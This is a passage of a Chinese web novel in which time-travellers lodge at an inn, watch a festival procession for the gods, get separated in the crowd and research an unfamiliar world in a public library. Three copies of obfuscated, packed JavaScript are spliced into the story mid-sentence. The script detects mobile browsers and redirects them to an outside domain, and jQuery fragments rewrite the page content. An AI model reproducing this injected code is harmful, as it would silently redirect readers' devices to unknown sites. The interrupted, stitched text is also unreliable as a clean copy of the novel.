“有的，有的。我来了。”屏风后面走出一人，提着一蓝花瓷壶，脸颊被灯照得明亮，她不好意思地解释道，“我以为这时候没人来，去后面泡茶了。你们是要住店吗？” “对，四个人，开两间房。”许巧星答。 “我们有空房。你们要住几天？”掌柜推来一张木牌，上面刻了几行字。 许巧星略看几眼。这家店是明码标价写出来了的，价格好歹是正常了。看来他们运气没那么差，她终于松了一口气：“先住……住三天吧。要便宜点的房间。” “好。一人一日十钱。”掌柜取出两把钥匙，放在桌上。 陈哥付过钱，掌柜收好，提笔在纸上记了几笔。 “我们这儿送朝食，但不过是一碗稀粥。你们若不用，我就叫人不做你们的了。”她边写边道。 还有早餐？ “我们要吃。”许巧星喜出望外。 省下早餐钱！ “你们是先回房，还是先出去赏景？” “什么赏景？” 掌柜道：“溪月路那边在祭神，距离咱们这儿不远。你们若是没见过咱们的祭神，可以去瞧上一眼，不少客人为此慕名前来。” “好的。”许巧星问过另外三人意见，回复掌柜，“我们先回房吧。” “跟我来。”掌柜提过一盏灯，不知做了什么，石灯唰的亮了起来。她带着他们走上狭长的楼梯。 夜阑人静。过道墙上点着灯，许巧星听着自己踩在木地板上的咚咚脚步声。掌柜带他们走到二楼最深处，把钥匙交了出来，便转身离开。 “先到一个房间里，咱们商量一下事情？”司机抓着钥匙问，他打开房门。 房间内一片漆黑。 “这个灯怎么开呀？”郝乐宁小声说。 借着过道的光，许巧星摸索到屋内桌上石灯，她的手在冰凉的石头上按了一圈，终于在偏下的一角按到了什么——柔和的光填满房间。 郝乐宁合上门。 因为选的是最便宜的房间，空间不大，摆设乏善可陈。一张床，一张桌子，一张椅子，别无他物。幸而屋内并没有堆积灰尘，也没有霉味，被褥也叠放有序。 四个人站在一间房里，屋子更显得狭小，单单立足于此，把房间挤得满满当当。 如今换过新地方，与使者别过。这大城市里人山人海，往后可以暂缓一口气，没必要跟之前一样装模作样，日夜提心吊胆，生怕言行有失。 一言一行皆被人看着，虽无恶意，但总觉浑身不自在。 司机拉过椅子，重重坐下，口吐抱怨：“我就知道上一家店赚的是黑心钱。” 许巧星回想起那客人阴鸷的眼神，如芒刺背：“确实。就算有那笔钱，我们也不应该在那里住。” 陈哥把包裹放在桌上，淡淡地道：“还是想一下以后怎么办吧。” 25.第 25 章 司机道：“明天我就出去问一下有没有地方缺人，咱们得赚钱吃饭。” 郝乐宁因晕车而一直精神不振，还是忍不住出言调侃：“没想到都穿越了，还得为这些事发愁。别人穿越来是拯救世界的，我们穿越来是换个地方打工的。” “可不是。” 大家随意扯了两句闲话，又提到要调查的内容。 许巧星掏出笔记本，纸上列出来了：红塔、禁止出海的缘故、使者丢失的宝物、回家的法术。她对着纸，重复了一遍，抬头问道：“就这些吧？” “差不多了。”司机又问，“说到法术，我们难道要等到明年去参加考试吗？” 陈哥对他说：“我觉得我们没那么容易过。” 司机则目光如炬地看向许巧星：“我可记得许巧星那天在使者面前大显身手，这孩子有天赋，说不定就过了呢。” 许巧星犹豫了一会儿，坦言道：“我不想把所有希望寄托在一年后的考试上。暂且不论能不能过，进了学府后能不能学到相关的法术。我感觉过不了一年，使者那边就会派人来抓我们。” 司机沉吟：“你说的也是个问题。之前那个乡村教师，不是说城里有私塾吗？就是要一大笔学费，或许我们可以试试这个。” 郝乐宁道：“还有一种方法，我们可以去书店找一下有没有什么书和这个相关。这两天，外面写的字，我们都能看懂。”她顿了顿，“希望别是陌生文字，就比如我们之前偷衣服时看见的。” 许巧星低下头，往笔记本上面加了“陌生文字”四个字。笔在纸上沙沙作响。 “买书也要钱。”司机打了一个响指，“明天我们真该去赚钱的。” 陈哥忽然想到了什么，便问郝乐宁：“你之前说自己是从汉语言专业毕业的。那你能看出来这些建筑物是什么朝代的吗？” “不能。若硬要说朝代，通过文字能稍微判断一二，因为楷书是不存在于汉代之前的。”郝乐宁摇头，“其实，我觉得判断朝代的意义不大。就比如说他们的石灯和法术，还有那些奇怪的生物。我们的穿越不是穿越到某个课本上的朝代，那些东西在历史书上可没有任何记载。” 许巧星不免产生疑惑。为什么会同时出现认识的文字与另一种陌生文字？是从其他国度传过来的吗？ 她思考片刻，心中渐渐有了一个猜想，于是说出了口：“那种陌生文字，有没有可能是使者他们使用的？”她越说越笃定，“我们是在海生屋子里找到的。可能他为了工作方便，找来了一本关于使者语言的书。” “所以这就是什么神语？”司机挑眉。 “很有可能是。” “这个世界上真有神明吗？”陈哥喃喃低语。 郝乐宁推开窗，夜间寒气迎面扑来。 站在窗边，可以望见不远处的街道灯火辉煌，宛如白日。与此同时，一朵烟花直飞冲天，随着一声巨响，落了满天金光。 许巧星也看了过去：“那边……是在祭神？” 司机站起身，椅子在地板上挪出声响：“我们一起去看一下吧。” “你们去吧。”郝乐宁揉了揉太阳穴，疲惫地道，“我坐了一天车，实在头晕。太累了，我走不动。” “那你好好休息。”许巧星道。 三人下楼，向掌柜问清方向，便赶去溪月路。 愈往灯火烛天之处走，一片红光竟像是满天热火，许巧星抬头发现两串红彤彤的大灯笼被挂在街道两侧。 这是她在这世界里头一回看见烛影摇曳，这才知道，原来这地方并非全然弃置蜡烛，只是很少用罢了。 四下喧闹。许巧星耳畔响起摊贩叫卖声，她看见吹火杂耍的人在火光中连续翻跟斗，引得人群叫好连连。 长街人头攒动，如白日般热闹。 路边小贩卖的商品玲珑满目，有小巧首饰和花纹布料，她还闻到了烤肉的诱人香气。几人在街道上闲逛，只是看个热闹而已。就目前而言，他们仍挣扎在温饱线上，花钱娱乐太过奢侈。 夜市中数不尽的灯火发出光芒，没有宵禁，目光所至之处，人人眉开眼笑。许巧星也跟着一起高兴起来，就算是穿越，她能穿越进一个太平盛世，比去一个兵连祸结的战场好上百倍。 许巧星心里正筹划着，要是瞧见哪家摊子忙不过来，她也许可以毛遂自荐一下，运气好的话，说不定能找到工作呢。 “姐姐，你要买花吗？”少女把花篮挂在胸前，走了过来，声音清脆，“今天刚摘下来的。你要买吗？很香的。”她看起来比许巧星年龄还略小一些。 乍然被人搭话，许巧星有点诧异，她定睛看了眼少女的满怀鲜花，摇头道：“不用的，谢谢。” 少女仍没放弃：“我给你便宜点，好不好？你买一枝，我再赠你一枝。” 许巧星非常坦诚：“我买不起，身上的钱只够吃饭。” 少女愣了一下，手抬起又放下，犹豫再三，从花篮里抽出一支。她递给许巧星，笑道：“那我送你。” “啊？不用了，你也要卖花赚钱吧。”许巧星没动。 她笑道：“这种花一直是当赠品的，我有很多，所以不要紧。你就拿着吧。”她又说了一句吉祥话，“你瞧，它的花瓣多像块贝壳，是发财的好兆头呢。” 她的手再伸过来，许巧星注视那支淡黄花枝，有些不好意思，正打算道谢并拒绝。可未曾料到，少女居然直接将花投掷进许巧星怀里，许巧星条件反射地接起。 少女笑得铃铛般摇晃，她闪身钻进了人群。 “谢谢！”许巧星反应过来，朝着少女离开的方向高声道谢，可惜已看不见她的身影了。 许巧星迷茫地低头看着那朵花，它含苞待放，花瓣外侧被人洒上水珠。她不认识这是什么花，卖花女的好意让人心头一暖。 “咱们遇上的人好像都挺友善的。除了那家黑心店。”司机站在许巧星身后说道。 陈哥打量一圈，微微皱眉：“怎么没看见祭神？这里不就是普通夜市吗？难道他们已经祭完神了吗？” “问问就知道了。” 他们找人打听了一下，这才知道现在还没到时间。于是便继续往前逛去。 “新鲜出炉的肉包子！皮薄馅大！” “过来瞧一瞧！” “这位客官，你看，东西做工是极好的，是我一针一线……” 他们穿过各种叫喊声。越往前越拥挤，肩摩接踵，他们顺着人流缓缓前行。 陈哥擦了一下额头上的汗，出声提醒：“人太多，我们别走散了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007157|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “等我赚到钱了，就请大家一起来吃顿好的。”司机被摊位上的香气勾起唾沫，他自言自语，“我还没吃晚饭，肚子已经饿扁了。” 许巧星安慰他：“我们回去就可以吃干粮。”她不知道这能不能算安慰。 许巧星听见右侧有一孩童拉着娘的手，问道：“是不是可以看见神像？”孩子声音稚嫩，音量也不大。在人多噪杂的环境中，许巧星站得近，才能隐约听见。 她的娘拉紧女孩的手，仔细叮嘱道：“对，马上到时辰了。你千万不要乱跑哦。我们可不去人挤人的地方，等一下我把你抱起来看。” 祭神快要开始了吗？ 随着咻的一声，天空又燃起一朵灿烂的烟花。 远处传来隐隐鼓乐之声，许巧星来不及细思，就看见有八人抬着一个华美富贵的金边肩舆缓慢走来。 前有侍从开道，洒水扫尘，提炉焚香，烟雾缭绕。舆后又跟了一行翩翩乐师，怀中抱着乐器。他们方一靠近街道这头，人群发出呼喊，纷纷退开，让出一条道路。 乐师齐齐奏乐，鼓吹喧阗。 许巧星跟着人群一齐往后退去。 人流如潮，连衽成帷，这下更拥挤了。许巧星一向不喜欢肢体接触，此刻前后左右皆被人挤着，呼吸不畅，换做从前，她肯定心中烦闷。 但眼下许巧星却顾不上那么多，拼命踮起脚尖，又伸长脖子，目光朝着游行的人望去。在她不懈努力下，终于瞥见那副光景。 那肩舆镀上金漆，细绘了令人眼花缭乱的花纹。 一位女性样貌的雕像端坐在其中，面目并无精心雕琢，似是被雕刻师刻意淡化。它身披繁复长袍，无数金纹在灯笼下灼灼生辉，晃得人眼疼。 肩舆正缓慢向这边移动，神像头顶冠冕垂下的玉珠正相互撞击摆动。 没过一会儿，许巧星被人推搡了一下，又看不见外面的情况了。她心中焦急，恨不得瞬间再暴长个十公分。 此刻，不知从何处起，人群爆发一波又一波的激烈呼喊。 “王！” “神！” 还有一些许巧星听不清的词。 …… 许巧星被这呼喊声震得耳痛，一手护着花，另一手则想捂住耳朵。但她方一艰难地抬起手，又担忧自己的举动是否不妥，很有可能被周围的人视为对神明的冒犯，赶紧又把胳膊放了下去。 大概是肩舆逐渐靠近，越来越大的欢呼声闹得她没办法多想别的，她已经被人群挤得脚不点地。 许巧星揣揣不安，开始担心此地出现踩踏事件。 好在没有。 片刻之后，不知是她的耳朵习惯了喧嚣，还是奏乐声与人群欢呼声逐渐淡下来，她没之前那般困扰难捱。 许巧星身边本拥挤的人群站得松散起来，大多数人选择跟着肩舆后面，齐齐高声欢呼，手舞足蹈地庆祝。 肩舆过后，香屑满地。 许巧星从激动的人群中挣脱出来，连退数步才停下，大喘了一口气。她的余光乍然瞥见身旁有一老人，正跪在地上，朝着肩舆远去的方向磕头。这吓了她一跳，连忙避开一段距离。 这些人对神挺敬仰的…… 许巧星想着。等她回过神来，却惊讶地发现，另外两位同行人已消失不见。 26.第 26 章 她环顾四周，唤了两声，引来陌生人的眼神。 “是和家人走散了吗？”有人面露微笑地靠近。 许巧星后退两步，一口否认：“没有。” 那人没把许巧星的话当一回事：“祭神热闹，倒也正常，多半是被冲散了。要不要我带你去找他们？” “谢谢你，但是我和家里人没有走散。”许巧星面无表情地摇头。 那人见状，便离开了。 许巧星注视着那人离开，松了一口气。 她又扫视一圈，远处人头攒动，不知道司机和陈哥跑何处去了。她决定先站在原地等候。若久等不至，就自己回旅店。 手中的那支嫩黄花朵在仓促拥挤下变得蔫巴巴的。她想起卖花女一篮子的鲜花，希望她不会因人群的推来挡去而坏了生意。 头顶正是一个大灯笼，红光笼罩在她身上。行人在许巧星身侧擦肩走过，不知过了多久，她心中难免焦急，一直没看到那两人。想回去，可又担心恰巧与他们错过。 若他们一直在道路上找她，回旅店却看见她早就回来了，可能会怨言，团队之间也会因此心生罅隙。或许不会，但是许巧星不愿去造成这个麻烦。 “小姑娘！”有一魁梧男子忽然冒了出来，一身干练短打，粗声粗气地问，“你是和家人走散了吗？” 许巧星一惊：“不是。” 那人端详许巧星一会儿，上下打量，看得许巧星汗毛直立，心想这人要是有什么动作，她就大喊绑架。 男人见许巧星一脸防备，指了指对面街道的茶店：“我们家老夫人见你独自一人站在这里良久，叫我来问问你。” 她顺着男人所指的方向，那家店铺内部通亮，因相隔一段距离，她看不清里面状况。 “谢谢你家老夫人的好意。我的叔伯给我买东西去了，一会儿便会回来。我只是站在这里等他们。” 男人闻言，干脆利落地转身离去。 许巧星偷偷瞟了几眼那家店，总感觉里面有视线在看自己。她往人群密集的地方走了十几步，长长叹息。再没等到，她可真回去了。 她继续张望，身后却出现了一位老人。 老人咳嗽两声，喊她。 许巧星扭过头，一位老婆婆慈爱地看着她，仪态端庄，披着一领精致斗篷。身旁有一年轻女子搀扶，另外三名大汉则挡着人群，以免不慎冲撞。其中，就有方才来问许巧星的人。 老婆婆在许巧星忐忑不安的目光中微微一笑，口齿清晰：“方才让护卫贸然来喊你，唐突了姑娘，实在抱歉。你跟他说一下你家人的衣着颜色，他去帮你找人，尽快使你们家人团聚，别叫你一个小姑娘在这街头苦等。” 许巧星意外，实在推脱不过老人。心想自己立在原地，也不乱走，应该无事。若这些人是坏人，此地人多，大吼一声，肯定会有人管的。她便依照老人的话，描述了一番。 “能帮上你，也算积德做件好事。”老奶奶先开口，“你不必紧张，若我的护卫没找到，还可以去请城卫来帮忙。” 许巧星点头，礼貌回应：“谢谢您。您在外头吹冷风，小心别冻到了。要不您还是回去吧，我一个人在这里就好了。” 老奶奶淡淡一笑：“我身体壮实着呢，哪有这么容易生病？” 年轻女子微微皱眉，好言劝了几句，却被老婆婆瞪了回来。 老婆婆笑骂：“就是你们，平时在家里管我就算了。我难得出来，这样不行那样不行，在外面走个路散个心，还要唠叨半天。我偏要站这，跟这小姑娘聊上几句。你少管我，别呆我身边了，自己去逛个热闹。” 女子哼了一声，拿着钱袋跑远了，有一个侍卫跟了上去。许巧星只好同这位老婆婆扯闲话，尴尬地道：“别人也是在孝顺您。” “知道。我是心疼她的，年纪轻轻，一天到晚就跟我一个药罐子老太婆闷在一起，也不学她姐姐一样到处走走，简直是白白浪费光阴。”老婆婆拍了拍许巧星的手，“要我说，家里的担子还没落在年轻人身上的时候，就该好好耍一耍。等要立业了，就没这机会了。” 许巧星顺着称是。 “你手上的是不愁花吗？”老奶奶注意到许巧星手里抓着的花枝。 许巧星低头：“我不知道，别人送的。” “偏北处，在城内外交界地，有一片帝休树，又叫不愁树。不过此时不是开花季，该是用了别的法子催出来的。此树花果皆可入药，药行里常备着，不能多服，食多伤身。”老婆婆道，“可以泡水喝，有少梦解忧之效。不过有些人不能用它，比如我，本就记性不好，再吃上这个，事情可全要忘干净了。” 许巧星闻言，忙不迭拿着花站远了。 老婆婆乐呵呵地笑出声：“我逗你的，哪有这般神乎其神？我凑近闻也不要紧。分量要够多，起码得用那种养鱼的大缸，喝个一天一夜才能激发这毒性。”她又说，“你若是不想泡水喝，晒干了做香囊也好。” 她们聊得开心，许巧星渐渐放下警惕。片刻之后，老婆婆看向许巧星身后，道：“你瞧，是不是你家里人来了？” 许巧星回头。那位侍卫领着司机和陈哥走了过来，他们本半信半疑，见到许巧星安然无恙地站在路边，这才松了一口气。 “一眨眼的工夫，你怎么不见了？”司机向老婆婆道谢，又转过头来看许巧星，“你还好吗？” “没事。” 大汉重新站回老婆婆身旁。其中一人弯着腰，出言提醒：“您是时候要回去了。” “怎么没车来？” 那人声音更轻了：“您贵人多忘事，这几天兽车不能往这条街来。您要不先去店里休息一会儿，我去给您喊轿子。” 老婆婆缓缓颔首，又叮嘱道：“等一会儿要和咱家姑娘说一下。让她慢慢玩，不急着回来。” “是。” 许巧星与老婆婆道谢，老婆婆和蔼一笑，搀扶着侍从的手，走回店里。 目送他们离去后，许巧星问司机：“你们刚刚去哪里了？” “我们看见有小姑娘抱着一朵花，以为是你，认错了人。正往回走，要来找你的。”他皱眉，“这里人真多。” 陈哥打了一个哈欠：“现在找到了就好，我们回去吧。” 司机边走边说：“我还以为这祭神上，有会什么不一般的神迹。现在看来，就像一个寻常庆典。” 乍一远离这条街，闹市嘈杂声变得模糊，似乎隔了一层无形的罩子。 许巧星闷头走，司机自言自语：“要是手机能用就好了，咱们找不到你，连一个电话都不能打。” “我还没手机！”她喊了一声，反应过来，猛地回头，“对了，那你们现在手机能用吗？看一下信号。” 司机顿了几秒，手在衣袍上摸索，终于从内袋里掏出手机，嘴里还在说：“忙起来，我差点给忘了。本来每天都要玩手机，几天不碰，倒也没精力去想。” 他们从第一天开始，为了保持电量，就把它关机收好。 司机长按开机键，手机屏幕唰的一下白起来，三个人把手机围在中间，死死地盯着它，脸被屏幕的光映得发亮。 万一呢？ 过了开机动画，弹出密码解锁的界面。司机不在乎被人知道密码，迅速按了一串数字。手机解锁了。 可是依旧没信号。 虽然这是意料之中的事，许巧星还是略有失落。她特意看了一眼，虽然电量在关机期间没有消耗，但是司机这部手机只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020182|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下一半的电了。 陈哥想了想，问：“内置收音机呢？” 司机打开后，调动频道，手机没反应。 他脸上无奈：“其实，这地方有信号才奇怪。”然后把手机再关机，收回袍子的内袋。 一阵清凉的夜风吹过，石灯伫立在那儿不为所动，暖光把许巧星的影子拉得狭长。她低头数脚下的砖块。 一路无言。 到了旅店。掌柜朝他们打招呼，她正在吃零嘴，见有客人回来，连忙放下。大厅又点亮了几盏灯，变得明亮起来。 掌柜道：“你们算早回来的，若一会儿其他客人回来，吵到你们，还请多担待。” 他们点头，上了二楼，许巧星从司机手里接过钥匙，咔嚓一声，房门打开。 “今天晚上大家都好好休息，该回去总会回去的，别想太多。有什么明天再解决。”司机靠在一边墙上。 许巧星应了声。 窗户留了一道小缝隙，月光溜进来照在地板上。屋内熄了灯，郝乐宁已沉沉睡去。 许巧星轻轻地合上门，将后面的锁搭上。 她把不愁花放在桌子上，轻轻坐下。要是真能没有烦恼就好了。 然而这是不可能的事情。昔日的烦恼有关学业和家人的身体健康，可如今烦恼更是如日俱增，好比暴雨前的黑云满天，越来越厚，压得人喘不过气。 自从坐上那辆公交车，许巧星按部就班的生活就像列车脱轨一般，彻底天翻地覆。短短几日，无论是在野外餐风饮露，又下了牢房，抑或是被当成重要人物恭敬对待。状况层出不穷，总是反复无常，风云变幻。 而且她有一种预感，这一切只是开始。 她想回家，绝对不是垂手可得的事情。那种两点一线的日子一去不复返，她不得不去思考另一种未来。 许巧星恍恍惚惚地睡了过去，忽然惊醒。她正想抬头，脖子却酸痛不已，暗叫不好。果然不能躺在椅子上睡觉。 她小幅度转动脖子，不敢用力。许巧星睡眼朦胧，缓了好一会儿，僵硬的脖子终于好了些，这才扶着桌子站起身。 门外传来一些脚步声，许巧星猜想，应该是去夜市的其他客人正好回来了。 鞋子踩在地板上发出咚咚的闷声。因为整栋房子皆是木制，动静会格外清晰，她觉得这有点扰人清梦，但转念一想，若没有脚步声吵醒自己，真在椅子上躺到明早，恐怕就要落枕了。 她掀开被子的一角，钻进去，很快再次进入梦乡。 她不知道的是，躺下的那刻——当客人们皆回到自己房间时，混杂进来的一道极轻的脚步，缓缓登上楼梯，停留在她和郝乐宁的房门口。 这人并非店内住客。黑影一团，笼罩长袍内，从身形上大致可看出此人体格魁梧。他面对着房门口一动不动，仿佛天生就扎根在这里。 半晌，他确定没有听见任何声音，便伸出手，拿着一根铁丝在门锁上轻轻一转，随着微不可查的咔嚓声，门被轻松打开，甚至比许巧星用钥匙开门的动静还小。 推开门，这人行如鬼魅，在房间里飘了两圈，站在床尾盯着她们看。而累了一整日，全然睡死的二人对此毫无知觉。 这个人看了一会儿，脚步轻轻地出去了。 他用同样的方法打开了隔壁的门，司机仰面呼呼大睡，陈哥平躺着。他同样无所作为地立在床脚处，好似一座雕像。 掌柜等了又等，打了一个哈欠，估摸着应该不会再有客人回来，便起身熄灯。 大厅顿时暗了下来。 掌柜身后有一道风刮过，她揉揉眼睛，看向大门口，银色月光静静淌在地砖上。 她走过去，探出身子朝着门外望了望，又缩回来，把门合上。 27.第 27 章 许巧星是被郝乐宁推醒的。 她一晚上没睡好，紧锁眉头，口中梦呓。郝乐宁见她神色有异，急着将她推醒。许巧星睁眼一看，柔和日光投入屋内。 “你又做噩梦了？”郝乐宁站直身子。 许巧星头脑昏涨，冒了一身虚汗，怏怏地道：“……好像是。” “梦见什么了？这么吓人。”郝乐宁随口问。 “我忘了。” 郝乐宁看了一眼许巧星，没有再继续这个话题。她指了指桌子上的米粥，道：“我刚刚给你去楼下带了早餐。他们在楼下，我出去看看，你吃完就一起出来吧。” 许巧星闻言，登时从床上弹了起来，有些不好意思：“你们都已经起来了？”甚至还带了早点回来，就她一人仍在床上睡大觉。 “是啊。”郝乐宁瞧见许巧星急匆匆的模样，笑道，“这有什么？你不用急。你慢慢吃，我先出去。”说罢，她转身离开了。 许巧星胡乱披上袍子。 之前离开白沙镇时，当地人往他们包裹里还放了一些黄豆大的草药丸，她只知道里面加了薄荷，嚼起来是苦涩清新的，出门远行之人专用来清洁口腔。平时则用细长树枝，蘸上粗盐或药粉，充当牙刷与牙膏。 眼下许巧星可没空去找这些东西，囫囵吞枣解决完早饭，快步出门。 许巧星听见大堂声沸，拾阶而下，见到掌柜姑娘仍坐在柜台后，眼底乌青，显然是彻夜未睡。她一大早正在算账，给客人找钱。 司机站在大堂门口，瞧见了许巧星，朝她招手。 许巧星一过去，发现大家皆伫立在不远处，避着门口，以免影响店内客人进出不便。 “我们今天要去找工作了。”司机见人到齐，清了清嗓子，率先发言，“刚刚问了一下咱们住的这家店，店里不招人。但是掌柜说，如果我们想去找点活干，最好去衙门转一圈。” 衙门？这不是审理案件的地方吗？ 许巧星瞪大眼睛。 郝乐宁从旁解释道：“她说，若有人要招劳工，会在衙门张贴出来。呃，类似于人才市场。” 司机点头：“对，我去看一下怎么回事。” “只有你去？”许巧星问他。 司机道：“你们三个去图书馆找资料。” 哪来的图书馆？ 许巧星愣神。没等她问出口，郝乐宁拍了拍她的肩膀：“这里还有一个公开的书库，就在学府旁边。我们不用花钱去买书了，今天便去查资料吧。” 衙门真可以去吗？许巧星不自觉地蹙眉，心说我们几人可是逃犯。她环视一圈，这话在大街上不敢张扬，小声遮掩问了一声。 司机摇头：“他们消息传递不会很快。这里没有信号和基站。就他们的龟速，最快也要十天半个月。” 他们又商量了几句，便分开了。 郝乐宁跟许巧星说，书库被称为盟府，与学府一同坐落在问雅路上。 许巧星注意到她和陈哥各握着把伞，可此时晴空万里，没半分要下雨的迹象。她不解地问了一声。 郝乐宁挑眉：“掌柜听见我们要去盟府，特意借给我们的。”她顿了顿，脸上露出一个意义不明的笑容，“你还记得应舒和我们说，羽冠城里有一棵大树吗？树上住着许多青鸟。” 许巧星点头，看着郝乐宁的嘴角弧度越来越大，心中渐渐有了不好的预感。 “那棵树在问雅路的尽头。所以——白天去那边，最好要打伞。否则，鸟屎极大可能会掉在身上。” “……” 路上行人络绎不绝，偶尔兽车穿行其中，车夫双手牵绳，脚踩踏板，车前檐上的铃铛便晃个不停。虽然气氛并非似闹市般热烈，但有一种城市特有的人气。 “让一让，让一让！” 许巧星感到自己置身在鲜活的古画中。 她与郝乐宁走在前面，陈哥则一言不发地跟在后面。许巧星时不时回头看他一眼，这人没什么存在感，总让人觉得他消失不见了。 天空湛蓝清澈，一望无云。许巧星极目远眺，这个世界没有拔地而起的高楼大厦，她可隐隐望见那棵枝繁叶茂的巨树，像一个绿色巨人。 他们穿过闹市，继续前行，人声渐稀。 这里便是问雅路。街道两边连片树荫，路上已有人抱着书本来去匆匆。绝大多数是青年人，但也有白发苍苍的老人拄拐前行。他们几乎无人不撑伞而行。 目光顺着笔直的石路望去，远处是一个山丘。 大名鼎鼎的羽冠树便生长在山丘之上，树梢成云，绿了半片天空。 许巧星等人站在街道这头，已能感受到擎天巨树的非同寻常，更不知临近树下时，又会是何等壮观。不过据掌柜所言，山丘已不让寻常人靠近了。 问雅路的建筑庄严气派，黑瓦白墙。门柱雕花，檐角飞兽，花枝越墙而出。 路中央，有块近一人高的石碑。 许巧星视力不错，隐约能看见石碑上刻有“靡不有初，鲜克有终”八个大字。因为字迹较为潦草，她不知道自己有没有认错。 石碑前方站着几位学生，似乎正激烈讨论。 许巧星再细细打量，发现人行路上也有两块较小的石碑，一边是“求索”，另外一边则是“问道”。 郝乐宁认着头顶的牌匾，带着许巧星和陈哥来到盟府门口。 朱漆大门敞开，无人看守。他们踏上高高的台阶，周围无一人侧目留意这三位陌生人，更没有人拦着他们不给进。 初进门，悠长的书墨香气充盈肺腑。 盟府宽敞，大堂内站有近十个人，也不觉室内拥挤。不远处的屏风后绕出来几个书生打扮的人，显然屏风之后别有洞天。 藏书浩如烟海。许巧星暗暗感慨，不知要翻到猴年马月去。郝乐宁拉她过去，只见堂内挂有长卷，上有藏书的种类。 许巧星惊喜。她回想起那片浮光蓝海，心中着实好奇世界的边界，视线扫下来，竟真让她发现了“地理”两字。 陈哥本想找到“历史”分类，可毫无收获。三人一合计，决定先同找“地理”藏书，一探究竟。 他们见一旁有人盘腿坐在地上发呆，其余人皆有事在忙，便上前询问。那人被打扰了思绪，虽面色不佳，但仍是给他们指了路。 三人忙不迭道谢致歉，然后循着回廊绕出大堂，后面山石嶙峋，湖边树影摇曳，是一个别致的园林。根据那人所言，他们寻觅到了一个偏僻院子。 这处人烟稀少。 许巧星本以为能找到地图，但大失所望。书上讲的是农耕和养鱼，还有治水之法。没有一本书是与河流山川的分布有关，更没有一张地图。 郝乐宁思索了一下，轻声道：“地图绘制是一件大工程，还涉及军事，这与王朝安宁息息相关。应该不会放在谁都能进去的书库里面。”这话有道理。 许巧星略有失落，但很快看开了。 毕竟他们能进这地方查资料，已是意外之喜。此地藏书如此之多，总能找到一些线索。 三人决定掉头回大堂。长卷上的书籍分类并不细致，他们想找到这个世界过往历史，但反复查阅长卷，徒劳无功。而且，许巧星没有发现法术类的书籍。 盟府内的书籍，虽多，但粗览长卷，确实没有这两类书籍的踪迹。难不成是不对普通人开放吗？ 此地文字皆是竖排排列，对许巧星而言不太习惯。她看得有些疲惫，余光瞥见陈哥也在揉眼睛。 外头风和日暄，微风吹进堂内。她走到门口透气，站在高处，察觉到那些聚在道中央争论的学生愈来愈多。她心中一动，好奇他们谈论的内容，不过距离较远，她听不见那些说话声。 石碑投下一道阴影。 许巧星记得石碑上的八个字来自于《诗经》，她向郝乐宁确认了一下，郝乐宁也说是。那么这个世界是有《诗经》这本书的吗？ 许巧星重新站了回去。她倏忽冒出一个念头，此地没有历史书，或许可以通过诗词来辅佐判断？她再次把目光投向长卷。 诗词……她默念。 许巧星的目光停留在“乐章”二字上面。诗歌不分家。 陈哥说要自己单独去转转，于是她与郝乐宁去乐章馆。那地方不大，果真有诗词。她们在查阅时，有了发现。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034329|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许巧星找到了一些脍炙人口的唐诗宋词。但匪夷所思的是，它们全没标出年代和作者，不知道是否刻意将其隐去。许巧星正纳闷，而郝乐宁轻声说自己看到了一本很厚的诗经。 郝乐宁深吸一口气，对着许巧星扯出一个苦笑：“对，比我曾经读过的，要厚得多。我们世界的诗经是不全的，往往寄希望于出土文物。”她踌躇了一下，“你说，这里会是平行世界吗？” 许巧星愣住了，看向郝乐宁。 郝乐宁缓缓道来：“我之前曾经以为这一切是自己在做梦。但是现在千真万确了，这肯定不是做梦。我梦不出这般高水平的内容。这里与我们的世界有一定的共同点，但处处大相径庭。除了平行世界，我暂时想不出其他解释。” 不，还有一个解释。 只是许巧星一直不敢去想。 “我们……”一想到那儿，许巧星一身的血都冷了，“我们那日坐车，突然闯进大海。会不会，那天发生了一场车祸。其实……” 一排一排整齐的高大书架似乎要迎面倒塌，郝乐宁站在狭长的回廊过道，有些喘不上气。她面色唰的苍白，飞快地打断了许巧星，声音显而易见地颤抖：“不会的，不是车祸。你不要再说了，我们出去吧。” 许巧星揣揣不安地跟在她身后。 她们站在盟府大门外，温热太阳照在身上生暖，冰凉四肢冰化般回温。 许巧星见郝乐宁面如菜色，低头道歉。 “你不用道歉的。”郝乐宁抬起手按住眉心，“和你没关系，是我自己实在接受不了。” 日头渐上。石碑附近的学生已经聚了二十多个，情绪高涨，越发不像闲谈模样。两人正想说些什么，却被他们吸引了注意力。 她们走近一瞧。 许巧星听见一人与朋友窃窃私语：“各位师保已经去找了，想必我们是帮不上什么忙的。咱们学艺不精，还是不要强插一脚，妨碍他人。” “倘若学宫真需要助力，哪里是我们普通学生可以插手的？” 